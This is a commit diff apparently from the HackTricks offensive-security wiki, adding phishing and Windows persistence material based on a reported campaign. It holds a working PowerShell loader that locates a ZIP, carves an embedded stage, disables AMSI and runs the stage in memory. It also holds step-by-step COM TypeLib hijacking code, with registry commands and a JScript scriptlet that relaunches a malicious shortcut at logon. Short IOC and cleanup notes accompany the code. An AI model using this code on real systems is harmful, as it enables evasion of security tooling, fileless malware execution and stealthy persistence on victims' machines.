Skip to content

Commit d81ff58

Browse files
author
HackTricks News Bot
committed
Add content from: ZipLine Campaign: A Sophisticated Phishing Attack Targeting ...
1 parent dd01833 commit d81ff58

2 files changed

Lines changed: 118 additions & 2 deletions

File tree

src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md

Lines changed: 53 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ DOCX files referencing a remote template (File –Options –Add-ins –Manage:
2121
### External Image Load
2222

2323
Go to: _Insert --> Quick Parts --> Field_\
24-
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\<ip>/whatever
24+
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
2525

2626
![](<../../images/image (155).png>)
2727

@@ -167,6 +167,57 @@ Don't forget that you cannot only steal the hash or the authentication but also
167167
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
168168
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
169169
170-
{{#include ../../banners/hacktricks-training.md}}
170+
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
171+
172+
Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIP’s raw bytes after a unique marker, and the .lnk carves and runs it fully in memory.
173+
174+
Typical flow implemented by the .lnk PowerShell one-liner:
175+
176+
1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory.
177+
2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
178+
3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate.
179+
4) Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
180+
5) Deobfuscate the next stage (e.g., remove all # characters) and execute it in memory.
181+
182+
Example PowerShell skeleton to carve and run the embedded stage:
183+
184+
```powershell
185+
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
186+
$paths = @(
187+
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
188+
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
189+
)
190+
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
191+
if(-not $zip){ return }
192+
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
193+
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
194+
if($idx -lt 0){ return }
195+
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
196+
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
197+
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
198+
Invoke-Expression $code
199+
```
200+
201+
Notes
202+
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
203+
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
204+
205+
Persistence used in the same chain
206+
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
207+
208+
{{#ref}}
209+
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
210+
{{#endref}}
211+
212+
Hunting/IOCs
213+
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
214+
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
215+
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
216+
- Long-running business threads ending with links hosted under trusted PaaS domains.
217+
218+
## References
171219
220+
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
221+
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
172222
223+
{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,71 @@ Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5
7878

7979
Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired.
8080

81+
---
82+
83+
## COM TypeLib Hijacking (script: moniker persistence)
84+
85+
Type Libraries (TypeLib) define COM interfaces and are loaded via `LoadTypeLib()`. When a COM server is instantiated, the OS may also load the associated TypeLib by consulting registry keys under `HKCR\TypeLib\{LIBID}`. If the TypeLib path is replaced with a **moniker**, e.g. `script:C:\...\evil.sct`, Windows will execute the scriptlet when the TypeLib is resolved – yielding a stealthy persistence that triggers when common components are touched.
86+
87+
This has been observed against the Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`).
88+
89+
### Steps (PowerShell)
90+
91+
1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
92+
93+
```powershell
94+
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
95+
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
96+
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
97+
"CLSID=$clsid LIBID=$libid VER=$ver"
98+
```
99+
100+
2) Point the per-user TypeLib path to a local scriptlet using the `script:` moniker (no admin rights required):
101+
102+
```powershell
103+
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
104+
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
105+
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
106+
```
107+
108+
3) Drop a minimal JScript `.sct` that relaunches your primary payload (e.g. a `.lnk` used by the initial chain):
109+
110+
```xml
111+
<?xml version="1.0"?>
112+
<scriptlet>
113+
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
114+
<script language="JScript">
115+
<![CDATA[
116+
try {
117+
var sh = new ActiveXObject('WScript.Shell');
118+
// Re-launch the malicious LNK for persistence
119+
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
120+
sh.Run(cmd, 0, false);
121+
} catch(e) {}
122+
]]>
123+
</script>
124+
</scriptlet>
125+
```
126+
127+
4) Triggering – opening IE, an application that embeds the WebBrowser control, or even routine Explorer activity will load the TypeLib and execute the scriptlet, re-arming your chain on logon/reboot.
128+
129+
Cleanup
130+
```powershell
131+
# Remove the per-user TypeLib hijack
132+
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
133+
# Delete the dropped scriptlet
134+
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
135+
```
136+
137+
Notes
138+
- You can apply the same logic to other high-frequency COM components; always resolve the real `LIBID` from `HKCR\CLSID\{CLSID}\TypeLib` first.
139+
- On 64-bit systems you may also populate the `win64` subkey for 64-bit consumers.
140+
141+
## References
142+
143+
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
144+
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
145+
81146
{{#include ../../banners/hacktricks-training.md}}
82147

83148

0 commit comments

Comments
 (0)